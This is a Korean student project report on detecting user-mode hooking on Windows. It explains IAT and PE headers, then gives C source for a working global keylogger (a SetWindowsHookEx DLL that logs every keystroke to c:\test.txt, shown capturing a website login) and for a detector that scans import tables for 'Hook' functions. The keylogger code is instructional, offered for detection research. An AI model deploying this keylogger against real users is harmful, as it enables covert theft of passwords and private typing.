유저영역후킹탐지시스템 팀 명 : D.N.F (Do Not Fishing) 지도교수 : 유승재교수님 팀 장 : 신동순 팀 원 : 서현찬이치목 중부대학교정보보호학과

Size: px
Start display at page:

Download "유저영역후킹탐지시스템 팀 명 : D.N.F (Do Not Fishing) 지도교수 : 유승재교수님 팀 장 : 신동순 팀 원 : 서현찬이치목 중부대학교정보보호학과"

Transcription

1 유저영역후킹탐지시스템 팀 명 : D.N.F (Do Not Fishing) 지도교수 : 유승재교수님 팀 장 : 신동순 팀 원 : 서현찬이치목 중부대학교정보보호학과

2 목 차 1. 서론 2. 관련연구 2.1 IAT 후킹 2.2 PE 구조 3. 본론 3.1 유저영역후킹작성및실행 3.2 유저영역후킹탐지 4. 결론 5. 참고자료 6. 발표자료

3 1. 서론 현재온라인게임이나온라인뱅킹업무에해킹사례가늘어나고있다. 이러한해킹기법중하나인후킹기술에대하여연구하려고한다. 후킹기법은 Windows에서자주일어나며후킹의종류는커널후킹 ( 루트킷 ), 유저영역후킹이있다. 우리는그중유저영역의후킹을탐지하려고한다. 다시유저영역의후킹은 IAT후킹, EAT후킹, 직접적인코드를삽입하는코드후킹등이있다. 이러한후킹중에서 IAT후킹을직접구현해보고이를탐지할수있는방법을소개할것이다. 먼저후킹에대한이해가필요하다후킹이란도대체어떤것인가? 후킹이하는역할은무 엇인가? 이를탐지하려면어떻게해야하는가를설명하겠다. 먼저후킹이란무엇인가? 후킹 (hooking) 은소프트웨어공학용어로, 운영체제나응용소프트웨어등의각종컴퓨터프로그램에서소프트웨어구성요소간에발생하는함수호출, 메시지, 이벤트등을중간에서바꾸거나가로채는명령, 방법, 기술이나행위를말한다. 이때이러한간섭된함수호출, 이벤트또는메시지를처리하는코드를후크 (hook) 라고한다. (1) 후킹의정의이다. 이러한후킹이과연실제컴퓨터에선어떻게일어나는지아래그림을보 면알수있다. ( 그림 1. 후킹과정 ) ( 그림 1) 을보게되면후킹을아주잘나타내고있다. NotePad.exe 에서 Kernel32.dll 로 call 과 return 을서로하게된다. 하지만중간에 Hook.dll 이라는 dll 이껴들어중간과정을

4 가로채고있다. 이러한모든행위를후킹이라고한다. 즉, 프로세스와커널, 프로세스와프로세스사이에통신과정을중간에훔치거나조작하는행위를후킹이라고한다. 우리는이러한후킹중에유저영역에서일어나는후킹, IAT 후킹을설명할것이다. 본문에서사용되는운영체제는 Windows7 32bit를사용하였고, 컴파일러로는 Visual Studio 2015 Community 버전을사용하였다. 2. 관련연구 2.1 IAT 후킹 ( 그림 2. IAT) IAT(Import Address Table) 는프로세스의함수들을관리한다. 함수들이메모리어디에적재되고있는지를알수있는테이블이다. 즉, 이테이블을후킹하여함수를알아내고함수를후킹하여원하는정보를가로채는후킹방법이다. 우리는 IAT를이용하여탐지를할것이다. 이 IAT는 PE구조안에들어가있다. 그럼 PE구조가무엇인지알아야 IAT를이용을할것이다. 2.2 PE 구조 PE(Portable Executable) 의종류는아래표 1 과같다. 실행파일계열라이브러리계열드라이버계열오브젝트파일계열 EXE, SCR DLL, OCX SYS OBJ ( 표 1. PE Menu)

5 OBJ파일을제외한모든파일은실행이가능한파일이다. 실행이가능한파일들은모두 PE 헤더를갖고있다. 어떻게메모리에적재되고, 어디에서부터실행해야하는지, 실행에필요한 DLL들은어떤것이있고, 필요한 Stack/Heap은어디서부터어디까지인지등이 PE헤더안에모두들어가있다. 그만큼 PE헤더는중요하다. PE 헤더에는이러한정보들이모두구조체로정의되어있다. 이 PE헤더안에 IAT도구조체로정의되어있다. 그러므로 PE헤더를꼭알고넘어가야한다. ( 그림 3. PE 헤더기본구조 ) 이러한형식으로 PE 헤더는저장되어있다. 여기서 IAT 를이용하여후킹을탐지할것이다. 3. 본론 3.1 유저영역키로거작성및실행 후킹을탐지하기위해선어떻게후킹이되어야하는지알아야한다. 그러므로직접적으로키로거작성과직접적으로실행을해보겠다. 전역적인후킹을이용하여시스템자체를후킹을하고키보드의입력값을 C드라이브아래에 test.txt 파일에저장이되게만들었다. Hooker.dll 에서후킹을실제적으로하는함수들이들어있고 D.N.F_ATTACK에는실제메인소스가들어있다. 메인소스에서는 hooker.dll을호출하고윈도우폼에관련된소스들이있다. #include <Windows.h> #include<stdio.h> extern "C" declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT ncode, WPARAM wp, LPARAM lp) if(((msg*)lp)->message == (long)wm_char)

6 HANDLE hfile; DWORD dwwrite; hfile = CreateFile(TEXT("c:\\test.txt"), GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwwrite, NULL); CloseHandle(hFile); return TRUE; ( 소스 1. Hooker.dll) 위의소스코드는 Hooker.dll 이고아래소스부터는 D.N.F_attack 의메인소스이다. #include<windows.h> #include<stdio.h> #include"resource.h" #include <commctrl.h>// 리스트뷰헤더 #include "tlhelp32.h"// 프로세스정보헤더 #include <gdiplus.h> #include "richedit.h" #pragma comment(lib, "Gdiplus.lib") using namespace Gdiplus; void HookProc(HWND hwnd); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam); HINSTANCE g_hinst; static HHOOK hkeyhook; LPCTSTR TeamName = TEXT("D.N.F_Attack"); LPCTSTR hook = TEXT("API HOOKING");

7 int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, LPSTR lpcmdline, int nshowcmd) HWND hwnd; MSG message; WNDCLASS wndclass; HMODULE hmod; wndclass.cbclsextra = 0; wndclass.cbwndextra = 0; wndclass.hbrbackground = CreateSolidBrush(RGB(255, 255, 255));; wndclass.hcursor = LoadCursor(NULL, IDC_ARROW); wndclass.hicon = LoadIcon(hInstance, (LPCWSTR)IDI_logoA); wndclass.hinstance = g_hinst; wndclass.lpfnwndproc = (WNDPROC)WndProc; wndclass.lpszclassname = TeamName; wndclass.lpszmenuname = MAKEINTRESOURCE(IDR_MENU1); wndclass.style = NULL ULONG_PTR gptoken;// GDI+ 쓰려면이거써야함 ( 로고박으려면 ) GdiplusStartupInput gpsi; if (GdiplusStartup(&gpToken, &gpsi, NULL)!= Ok) MessageBox(NULL, TEXT("GDI+ 라이브러리를초기화할수없습니다."), TEXT(" 알림 "), MB_OK); return 0; RegisterClass(&wndclass); hwnd = CreateWindow(TeamName, TeamName, WS_OVERLAPPED WS_SYSMENU WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 250, 300, NULL, (HMENU)NULL, g_hinst, NULL); ShowWindow(hWnd, nshowcmd); while (GetMessage(&message, NULL, 0, 0)) TranslateMessage(&message); DispatchMessage(&message); return message.wparam; void HookProc(HWND hwnd)// 후킹함수

8 static HINSTANCE hinstdll; HOOKPROC hgetmsgproc; hinstdll = LoadLibrary(TEXT("hooker.dll")); if (!hinstdll) MessageBox(hWnd, TEXT("hooker.dll을로드할수없습니다."), TEXT(" 오류 "), MB_OK); ExitProcess(1); hgetmsgproc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc"); if (!hgetmsgproc) MessageBox(hWnd, TEXT("GetMsgProc 함수를찾을수없습니다."), TEXT(" 오류 "), MB_OK); FreeLibrary(hinstDll); ExitProcess(1); hkeyhook = SetWindowsHookEx(WH_GETMESSAGE, hgetmsgproc, hinstdll, 0); if (!hkeyhook) MessageBox(hWnd, TEXT("Hooking을성공하지못했습니다."), TEXT(" 오류 "), MB_OK); FreeLibrary(hinstDll); ExitProcess(1); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt)// 로고박는거 Graphics G(hdc); Image image(name); G.DrawImage(&image, high, weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 도움말 switch (imessage) case WM_INITDIALOG: return TRUE case WM_COMMAND: switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE

9 case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE break return FALSE LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam) LPARAM lp = (LPARAM)lParam int ret = FALSE static int i = 0; switch (imessage) case WM_CREATE: CreateWindow(TEXT("button"), TEXT(" 시작 / 중지 "), WS_CHILD WS_VISIBLE BS_PUSHBUTTON, 115, 10, 100, 25, hwnd, (HMENU)i, g_hinst, NULL); return 0; case WM_COMMAND: switch (LOWORD(wParam)) case ID_Help_info: DialogBox(g_hInst, MAKEINTRESOURCE(IDD_Help), hwnd, AboutDlgProc); return 0; switch (HIWORD(wParam)) case BN_CLICKED: i++; if (i == TRUE) HookProc(hWnd); MessageBox(hWnd, TEXT(" 후킹이시작되었습니다."), TEXT(" 알림 "), MB_OK); return TRUE else ret = UnhookWindowsHookEx(hKeyHook); hkeyhook = NULL MessageBox(hWnd, TEXT(" 후킹이중지되었습니다."), TEXT(" 알림 "), MB_OK);

10 i = 0; return ret; return 0; case WM_PAINT:// 항상글자출력 PAINTSTRUCT ps; HDC hdc; hdc = BeginPaint(hWnd, &ps); SetBkColor(hdc, RGB(255, 255, 255)); TextOut(hdc, 15, 15, hook, lstrlen(hook)); TextOut(hdc, 40, 200, TEXT("Copyright(C) 2016 D.N.F"), lstrlen(text("copyright(c) 2016 D.N.F"))); TextOut(hdc, 55, 220, TEXT("All rights reserved"), lstrlen(text("all rights reserved"))); OnPaint(hdc, L"C:\\resource\\logo.png", 30, 120); OnPaint(hdc, L"C:\\resource\\teamA.png", 48, 80); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: PostQuitMessage(0); break return DefWindowProc(hWnd, imessage, wparam, lparam); ( 소스 2. D.N.F_Attack) 각소스코드를컴파일하고실행하게되면아래와같은화면을볼수있다. ( 그림 4. D.N.F_Attack 실행화면 )

11 API Hooking 시작을누르게되면후킹이시작된다. 시작과동시에시스템전역으로후킹 을하게되고모든프로세스에서키보드를후킹하게된다. ( 그림 5. 웹사이트로그인후킹 ) 3.2 유저영역후킹탐지 먼저 SetWindowsHookEx를탐지해야한다. SetWindwosHookEx는메시지에훅을거는함수다. 또한이함수는 IAT에서볼수있다. 즉프로세스에서 SetWindowsHookEx를사용하게되면 IAT에등록이된다. 이함수들을 PEHeader를이용하여어디서어떻게사용되는지볼수있다. PEHeader의첫부분은항상 DOS_HEADER로시작된다. 이를덤프하게되면 MZ로시작하는문자열이나오게된다. 여기서부터 NT_HEADER와 OPTIONAL_HEADER의오프셋을구하고다시여기서 IAT의주소를구할수있다. IAT에서 SetWindowsHookEx를찾고만약존재한다면이프로세스 ( 또는 DLL) 에선함수를사용하는것이고위험한프로세스로판단하면된다. 이를의심테이블에등록하고테이블에서 DLL들을볼수있으며 "hook" 이들어간함수들을모두검출하게된다. #include <Windows.h> #include <stdio.h> #include "resource.h" #include <commctrl.h>// 리스트뷰헤더 #include <tlhelp32.h>// 프로세스정보헤더 #include <gdiplus.h> #include <psapi.h>

12 #include <string.h> #include <atlstr.h> #include <commctrl.h> #pragma comment(lib, "Gdiplus.lib") using namespace Gdiplus; void GetPath(DWORD processid); void IATScanner(LPCTSTR szfilename, int num, HWND *hlist2); void PrintFuc(LPCTSTR szfilename, int num); void OnInitCOL(HWND hlist); void GetProcess(HWND *hlist); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); BOOL CALLBACK DetailDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam); LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam); HWND hwnd; HINSTANCE g_hinst; LPCTSTR TeamName = TEXT("D.N.F_Detector"); HWND hlist, hlist2, Detail1, Detail2;// 리스트뷰핸들값 DWORD PID[MAX_PATH]; HMODULE BASE[MAX_PATH]; TCHAR *Pname[MAX_PATH] = 0, ; TCHAR *Ppath[MAX_PATH] = 0, ; TCHAR *FucList[128][128] = 0, ; int PIDsize; struct LIST_ITEM_INFO COLORREFcolorBK;// 배경색 COLORREFcolorText;// 글씨색 TCHARstr[MAX_PATH]; olistitem[128]; int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, LPSTR lpcmdline, int nshowcmd)

13 MSG message; WNDCLASS wndclass; HACCEL Accel; Accel = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDR_ACCELERATOR1));// 새로고침단축키 wndclass.cbclsextra = 0; wndclass.cbwndextra = 0; wndclass.hbrbackground = CreateSolidBrush(RGB(255, 255, 255)); wndclass.hcursor = LoadCursor(NULL, IDC_ARROW); wndclass.hicon = LoadIcon(hInstance, (LPCTSTR)IDI_logoD); wndclass.hinstance = g_hinst; wndclass.lpfnwndproc = (WNDPROC)WndProc; wndclass.lpszclassname = TeamName; wndclass.lpszmenuname = MAKEINTRESOURCE(IDR_MENU1); wndclass.style = NULL ULONG_PTR gptoken;// GDI+ 쓰려면이거써야함 (PNG 파일사용할때 ) GdiplusStartupInput gpsi; if (GdiplusStartup(&gpToken, &gpsi, NULL)!= Ok) MessageBox(NULL, TEXT("GDI+ 라이브러리를초기화할수없습니다."), TEXT(" 알림 "), MB_OK); return 0; RegisterClass(&wndclass); hwnd = CreateWindow(TeamName, TeamName, WS_CAPTION WS_SYSMENU WS_MINIMIZEBOX, CW_USEDEFAULT, CW_USEDEFAULT, 1000, 370, NULL, (HMENU)NULL, g_hinst, NULL); ShowWindow(hWnd, nshowcmd); while (GetMessage(&message, NULL, 0, 0)) if (!TranslateAccelerator(hWnd, Accel, &message)) TranslateMessage(&message); DispatchMessage(&message); return message.wparam; void GetPath(DWORD processid)// 프로세스절대주소가져오기

14 HMODULE hmods[128]; HANDLE hprocess; DWORD cbneeded; TCHAR szmodname[max_path]; static int count = 0; hprocess = OpenProcess(PROCESS_QUERY_INFORMATION PROCESS_VM_READ, FALSE, processid); if (NULL == hprocess) return if (Ppath[count + 2] == NULL) Ppath[count + 2] = (TCHAR *)calloc(1, _countof(szmodname)* sizeof(tchar)); ZeroMemory(szModName, sizeof(szmodname)); EnumProcessModules(hProcess, hmods, sizeof(hmods), &cbneeded); GetModuleFileNameEx(hProcess, NULL, szmodname, sizeof(szmodname) / sizeof(tchar)); wcscpy_s(ppath[count + 2], _countof(szmodname), szmodname); BASE[count] = hmods[0]; count++; CloseHandle(hProcess); if (processid == PID[PIDsize - 1])count = 0; void IATScanner(LPCTSTR szfilename, int num, HWND *hlist2)// IAT 검사 int i = 0; static int count = 0; bool check = FALSE if (num == 0) SendMessage(*hList2, LVM_DELETEALLITEMS, 0, 0); count = 0; HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

15 if (hfile == INVALID_HANDLE_VALUE) return HANDLE himgmap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (himgmap == NULL) return PVOID pimgview = MapViewOfFile(hImgMap, FILE_MAP_READ, 0, 0, 0); if (pimgview == NULL) return PIMAGE_DOS_HEADER psehidh = (PIMAGE_DOS_HEADER)pImgView; PIMAGE_NT_HEADERS psehinh = (PIMAGE_NT_HEADERS)((DWORD)pSehIDH + psehidh->e_lfanew); PIMAGE_OPTIONAL_HEADER pioh = (PIMAGE_OPTIONAL_HEADER)&pSehINH->OptionalHeader; PIMAGE_DATA_DIRECTORY pidd = &pioh->datadirectory[image_directory_entry_import]; PIMAGE_SECTION_HEADER psec = (PIMAGE_SECTION_HEADER)((PBYTE)pIOH + sizeof(image_optional_header)); PIMAGE_SECTION_HEADER pish = NULL PIMAGE_FILE_HEADER pifh = &psehinh->fileheader; int wnumofsec = pifh->numberofsections; //.idata 섹션이따로존재하지않고다른섹션에포함되어있는경우가많음 // 그래서섹션헤더를하나씩검사하면서.idata 섹션의위치를구함 for (int i = 0; i < wnumofsec; ++i) if (pidd->virtualaddress >= psec[i].virtualaddress && pidd->virtualaddress < psec[i].virtualaddress + psec[i].misc.virtualsize) pish = &psec[i]; break if (pish == NULL) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return

16 DWORD dwdelta = pish->virtualaddress - pish->pointertorawdata; if (pidd->virtualaddress - dwdelta >= pioh->sizeofimage) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)pImgView + pidd->virtualaddress - dwdelta); for (i = 0; piid[i].originalfirstthunk piid[i].firstthunk; ++i) if (piid[i].originalfirstthunk) if (piid[i].originalfirstthunk - dwdelta >= pioh->sizeofimage piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 poft = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].originalfirstthunk - dwdelta); PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pOFT + j); ++j) if (*((PDWORD)pOFT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pOFT + j) - dwdelta); if (strstr(piibn->name, "Hook")!= NULL) check = TRUE else if (piid[i].firstthunk) if (piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pIAT + j); ++j)

17 if (*((PDWORD)pIAT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pIAT + j) - dwdelta); if (strstr(piibn->name, "Hook")!= NULL) check = TRUE $end:; TCHAR arr[10] = 0, ; LVITEM LI; if (check) LI.mask = LVIF_TEXT LI.iItem = count; // 행 ( 전체화면- 캡션포함 ) LI.iSubItem = 0; // 열 LI.pszText = Pname[num]; // 문자열값 wsprintf(arr, TEXT("%d"), PID[num]); ListView_InsertItem(*hList2, &LI); ListView_SetItemText(*hList2, count, 1, arr); count++; void PrintFuc(LPCTSTR szfilename, int num)// IAT 프린트 memset(fuclist, 0, sizeof(fuclist)); int i = 0; TCHAR arr[128] = 0, ; HANDLE hfile = CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hfile == INVALID_HANDLE_VALUE) return HANDLE himgmap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (himgmap == NULL)

18 return PVOID pimgview = MapViewOfFile(hImgMap, FILE_MAP_READ, 0, 0, 0); if (pimgview == NULL) return PIMAGE_DOS_HEADER psehidh = (PIMAGE_DOS_HEADER)pImgView; PIMAGE_NT_HEADERS psehinh = (PIMAGE_NT_HEADERS)((DWORD)pSehIDH + psehidh->e_lfanew); PIMAGE_OPTIONAL_HEADER pioh = (PIMAGE_OPTIONAL_HEADER)&pSehINH->OptionalHeader; PIMAGE_DATA_DIRECTORY pidd = &pioh->datadirectory[image_directory_entry_import]; PIMAGE_SECTION_HEADER psec = (PIMAGE_SECTION_HEADER)((PBYTE)pIOH + sizeof(image_optional_header)); PIMAGE_SECTION_HEADER pish = NULL PIMAGE_FILE_HEADER pifh = &psehinh->fileheader; int wnumofsec = pifh->numberofsections; //.idata 섹션이따로존재하지않고다른섹션에포함되어있는경우가많음 // 그래서섹션헤더를하나씩검사하면서.idata 섹션의위치를구함 for (int i = 0; i < wnumofsec; ++i) if (pidd->virtualaddress >= psec[i].virtualaddress && pidd->virtualaddress < psec[i].virtualaddress + psec[i].misc.virtualsize) pish = &psec[i]; break if (pish == NULL) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return DWORD dwdelta = pish->virtualaddress - pish->pointertorawdata; if (pidd->virtualaddress - dwdelta >= pioh->sizeofimage) MessageBox(hWnd, TEXT("No Imports Table Found"), TEXT(" 오류 "), MB_OK); return

19 PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)pImgView + pidd->virtualaddress - dwdelta); for (i = 0; piid[i].originalfirstthunk piid[i].firstthunk; ++i) if (piid[i].name - dwdelta < pioh->sizeofimage) wsprintf(arr, L"%S", (LPCTSTR)((PBYTE)pImgView + piid[i].name - dwdelta)); SendMessage(Detail1, LB_ADDSTRING, 0, (LPARAM)arr); if (piid[i].originalfirstthunk) if (piid[i].originalfirstthunk - dwdelta >= pioh->sizeofimage piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 poft = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].originalfirstthunk - dwdelta); PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pOFT + j); ++j) if (*((PDWORD)pOFT + j) - dwdelta < pioh->sizeofimage) PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pOFT + j) - dwdelta); wsprintf(arr, L"%S", piibn->name); if (FucList[i][j] == NULL) FucList[i][j] = (TCHAR *)calloc(1, _countof(arr)* sizeof(tchar)); wcscpy_s(fuclist[i][j], _countof(arr), arr); else if (piid[i].firstthunk) if (piid[i].firstthunk - dwdelta >= pioh->sizeofimage) goto $end; PIMAGE_THUNK_DATA32 piat = (PIMAGE_THUNK_DATA32)((PBYTE)pImgView + piid[i].firstthunk - dwdelta); for (int j = 0; *((PDWORD)pIAT + j); ++j) if (*((PDWORD)pIAT + j) - dwdelta < pioh->sizeofimage)

20 PIMAGE_IMPORT_BY_NAME piibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)pImgView + *((PDWORD)pIAT + j) - dwdelta); wsprintf(arr, L"%S", piibn->name); if (FucList[i][j] == NULL) FucList[i][j] = (TCHAR *)calloc(1, _countof(arr) * sizeof(tchar)); wcscpy_s(fuclist[i][j], _countof(arr), arr); $end:; void OnInitCOL(HWND hlist)// 리스트뷰맨위에그거만드는거 LVCOLUMN COL; ListView_SetExtendedListViewStyle(hList, LVS_EX_FULLROWSELECT LVS_EX_GRIDLINES); COL.mask = LVCF_FMT LVCF_WIDTH LVCF_TEXT LVCF_SUBITEM COL.fmt = LVCFMT_LEFT COL.cx = 225; COL.pszText = TEXT(" 프로세스이름 "); COL.iSubItem = 0; ListView_InsertColumn(hList, 0, &COL); COL.cx = 225; COL.pszText = TEXT("PID"); COL.iSubItem = 1; ListView_InsertColumn(hList, 1, &COL); void GetProcess(HWND *hlist)// 프로세스이름가져오는함수, 리스트뷰에삽입 if (PIDsize!= 0) SendMessage(*hList, LVM_DELETEALLITEMS, 0, 0); LVITEM LI; HANDLE hsnap; PROCESSENTRY32 pe; TCHAR processname[128];// 프로세스이름저장변수 TCHAR processid[128];// 프로세스아이디저장변수 int i = 0;

21 hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hsnap == (HANDLE)-1) return pe.dwsize = sizeof(processentry32); if (Process32First(hSnap, &pe)) do wsprintf(processname, TEXT("%s"), pe.szexefile);// 프로세스이름저장하기 wsprintf(processid, TEXT("%d"), pe.th32processid); // 프로세스아이디저장하기 LI.mask = LVIF_TEXT LI.iItem = i; // 행 ( 전체화면- 캡션포함 ) LI.iSubItem = 0; // 열 LI.pszText = processname; // 문자열값 if (Pname[i] == NULL) Pname[i] = (TCHAR *)calloc(1, sizeof(pe.szexefile)); wcscpy_s(pname[i], _countof(pe.szexefile), pe.szexefile); PID[i] = pe.th32processid; ListView_InsertItem(*hList, &LI); ListView_SetItemText(*hList, i, 1, processid); i++; while (Process32Next(hSnap, &pe)); PIDsize = i; CloseHandle(hSnap); void OnPaint(HDC hdc, const wchar_t* name, int high, int weigt)// 로고박는거 Graphics G(hdc); Image image(name); G.DrawImage(&image, high, weigt); BOOL CALLBACK AboutDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 도움말 switch (imessage) case WM_INITDIALOG: return TRUE case WM_COMMAND:

22 switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE break return FALSE BOOL CALLBACK DetailDlgProc(HWND hdlg, UINT imessage, WPARAM wparam, LPARAM lparam)// 자세히보기 HBRUSH OldBrush, ColorBrush; LPDRAWITEMSTRUCT lpdis; static HBRUSH hbrush; int index = 0; switch (imessage) case WM_INITDIALOG: hbrush = CreateSolidBrush(RGB(255, 255, 255)); return TRUE case WM_CTLCOLORDLG: return (INT_PTR)hBrush; case WM_DRAWITEM: COLORREF colorbk, colortext; lpdis = (LPDRAWITEMSTRUCT)lParam LIST_ITEM_INFO *pdata = (LIST_ITEM_INFO*)lpdis->itemData; if (lpdis->itemstate & ODS_SELECTED) colorbk = (COLORREF)RGB(51,153,255); colortext = (COLORREF)RGB(255,255,255); else colorbk = (COLORREF)pData->colorBK; colortext = (COLORREF)pData->colorText;

23 ColorBrush = CreateSolidBrush(colorBK); // 이전브러쉬저장하고, 생성한브러쉬를선택 OldBrush = (HBRUSH)SelectObject(lpdis->hDC, ColorBrush); // 채움속성의사각형을출력 FillRect(lpdis->hDC, &lpdis->rcitem, ColorBrush); // 이전브러쉬를선택 SelectObject(lpdis->hDC, OldBrush); // 생성한브러쉬를제거 DeleteObject(ColorBrush); SetTextColor(lpdis->hDC, colortext); SetBkMode(lpdis->hDC, TRANSPARENT); DrawText(lpdis->hDC, pdata->str, -1, &lpdis->rcitem, DT_LEFT DT_VCENTER DT_WORDBREAK DT_SINGLELINE); return TRUE case WM_CTLCOLORSTATIC: SetTextColor((HDC)wParam, RGB(0, 0, 0 )); SetBkMode((HDC)wParam, TRANSPARENT); return (LRESULT)GetStockObject(NULL_BRUSH); case WM_COMMAND: switch (LOWORD(wParam)) case IDOK: EndDialog(hDlg, IDOK); return TRUE case IDCANCEL: EndDialog(hDlg, IDCANCEL); return TRUE case IDC_DLLBOX: switch (HIWORD(wParam)) case LBN_SELCHANGE: int i; bool check = FALSE SendMessage(Detail2, LB_RESETCONTENT, 0, 0); index = SendMessage(Detail1, LB_GETCURSEL, 0, 0); for (i = 0; i < 128; i++) TCHAR arrw[128] = 0, ;

24 if (FucList[index][i]!= 0) olistitem[i].colorbk = RGB(255, 255, 255); olistitem[i].colortext = RGB(0, 0, 0); wcscpy_s(olistitem[i].str, _countof(fuclist[index])*sizeof(tchar) + 4, FucList[index][i]); if (wcsstr(fuclist[index][i], TEXT("Hook"))!= NULL) olistitem[i].colortext = RGB(255, 0, 0); check = TRUE SendMessage(Detail2, LB_ADDSTRING, 0, (LPARAM)&olistItem[i]); if (check) MessageBox(hWnd, TEXT("DLL에서후킹이감지되었습니다."), TEXT(" 알림 "), MB_OK); return FALSE LRESULT CALLBACK WndProc(HWND hwnd, UINT imessage, WPARAM wparam, LPARAM lparam) int i; switch (imessage) case WM_CREATE: CreateWindow(TEXT("button"), TEXT(" 시작 "), WS_CHILD WS_VISIBLE BS_PUSHBUTTON, 873, 20, 100, 25, hwnd, (HMENU)0, g_hinst, NULL); hlist = CreateWindowEx(NULL, WC_LISTVIEW, NULL, WS_CHILD WS_VISIBLE WS_BORDER LVS_REPORT LBS_NOTIFY LVS_SINGLESEL LVS_NOSORTHEADER, 10, 50, 470, 200, hwnd, (HMENU)ID_LISTBOX, 0, 0); // 리스트뷰생성 hlist2 = CreateWindowEx(NULL, WC_LISTVIEW, NULL, WS_CHILD WS_VISIBLE WS_BORDER LVS_REPORT LBS_NOTIFY LVS_SINGLESEL LVS_NOSORTHEADER, 505, 50, 470, 200, hwnd, (HMENU)ID_LISTBOX2, 0, 0); // 리스트뷰생성 OnInitCOL(hList); OnInitCOL(hList2); GetProcess(&hList);

25 for (i = 0; i < PIDsize; i++) GetPath(PID[i]); return 0; case WM_COMMAND: switch (LOWORD(wParam)) case ID_PROGRAMINFO:// 도움말클릭 DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), hwnd, AboutDlgProc); return 0; case ID_REFRESH: memset(pid, 0, sizeof(pid)); memset(base, 0, sizeof(base)); memset(pname, 0, sizeof(pname)); memset(ppath, 0, sizeof(ppath)); GetProcess(&hList); for (i = 0; i < PIDsize; i++) GetPath(PID[i]); return 0; switch (HIWORD(wParam)) case BN_CLICKED:// 버튼클릭 HWND hdig = CreateDialog(g_hInst, MAKEINTRESOURCE(IDD_PROGRESS), hwnd, NULL); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETRANGE, 0, MAKELPARAM(0, PIDsize - 1)); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETPOS, 0, 0); for (i = 0; i < PIDsize; i++) IATScanner(Ppath[i], i, &hlist2); SendMessage(GetDlgItem(hDig, IDC_PROGRESS1), PBM_SETPOS, i, 0); Sleep(5); EndDialog(hDig, NULL); return 0; case WM_NOTIFY:

